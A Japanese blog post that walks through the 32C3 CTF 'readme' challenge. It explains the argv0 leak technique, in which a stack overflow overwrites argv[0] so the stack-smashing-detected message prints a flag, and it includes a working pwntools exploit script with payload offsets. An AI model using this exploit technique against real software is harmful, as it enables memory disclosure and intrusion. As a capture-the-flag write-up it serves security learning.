更新日時で差をつけろ

もはや更新日時でしか差を付けられない

32C3 CTF 「readme」を解いた

argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。

ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記

argv0 leakはSSP(Canary)が有効でないと使えない。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

0x600d20.data内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.dataセクションの中身はマッピングされたものであるため0x400d20にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。

リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。

Exploit

from pwn import *
context(os='linux', arch='amd64')
 
c = process('./readme.bin') #remote('localhost', 62000)
 
c.recv()
raw_input()
 
payload  = "A" * 0x210
payload += p64(1)
payload += p64(0x400d20) # flag copied by ld
payload += p64(0)
payload += p64(0x600d20) # envp[0] 
payload += "\n"
 
c.send(payload)
 
c.send("LIBC_FATAL_STDERR_=yoooo\n")
 
print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated